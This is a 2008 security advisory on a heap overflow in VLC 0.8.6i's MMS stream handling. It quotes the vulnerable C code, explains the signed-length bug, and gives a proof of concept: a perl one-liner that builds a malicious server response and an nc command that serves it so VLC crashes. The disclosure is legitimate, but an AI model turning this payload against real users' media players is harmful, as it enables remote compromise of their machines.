vlcmms-overflow.txt

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- - Orange Bat advisory -  
  
Name : VLC 0.8.6i MMS Protocol Handling  
Class : Heap Overflow  
Published : 2008-08-24  
Credit : g_ (g_ # orange-bat # com)  
  
- - Details -  
  
This can be exploited from remote. User have to open mmst://  
link poiting to server controlled by the attacker.  
  
vlc\modules\access\mms\mmstu.c :  
  
static int mms_ReceiveCommand( access_t *p_access )  
{  
access_sys_t *p_sys = p_access->p_sys;  
  
for( ;; )  
{  
int i_used;  
int i_status;  
  
if( NetFillBuffer( p_access ) < 0 )  
{  
msg_Warn( p_access, "cannot fill buffer" );  
return VLC_EGENERIC;  
}  
if( p_sys->i_buffer_tcp > 0 )  
{  
[1] i_status = mms_ParseCommand( p_access, p_sys->buffer_tcp,  
p_sys->i_buffer_tcp, &i_used );  
[2] if( i_used < MMS_BUFFER_SIZE )   
{  
[3] memmove( p_sys->buffer_tcp, p_sys->buffer_tcp + i_used,  
MMS_BUFFER_SIZE - i_used ); //BUG! i_used overflow  
  
(...)  
  
[1] - function that sets i_used to negative value, see below  
[2] - i_used is signed, so predicate is true  
[3] - actual overflow, we have good control over what is written  
  
static int mms_ParseCommand( access_t *p_access,  
uint8_t *p_data,  
int i_data,  
int *pi_used )  
(...)  
i_length = GetDWLE( p_data + 8 ) + 16;  
(...)  
if( i_length > p_sys->i_cmd )  
{  
msg_Warn( p_access,  
"truncated command (missing %d bytes)",  
i_length - i_data );  
p_sys->i_command = 0;  
return -1;  
}  
[1] else if( i_length < p_sys->i_cmd )  
{  
p_sys->i_cmd = i_length;  
[2] *pi_used = i_length;  
}  
  
(...)  
  
[1] - predicate is true  
[2] - sets i_used from mms_ReceiveCommand  
  
- - Proof of concept -  
  
on localhost:  
  
perl -e 'print "aaaa\xce\xfa\x0b\xb0\xef\xff\xef\xff"; print "a"x100' > headshot  
nc -l -v -p 1755 < headshot   
  
open this url in VLC:  
  
mmst://127.0.0.1/  
  
boom! headshot :)  
  
- - PGP -  
  
All advisories from Orange Bat are signed. You can find our public  
key here: http://www.orange-bat.com/g_.asc  
  
- - Disclaimer -  
  
This document and all the information it contains is provided "as is",  
without any warranty. Orange Bat is not responsible for the  
misuse of the information provided in this advisory. The advisory is  
provided for educational purposes only.  
  
Permission is hereby granted to redistribute this advisory, providing  
that no changes are made and that the copyright notices and  
disclaimers remain intact.  
  
(c) 2008 www.orange-bat.com   
  
  
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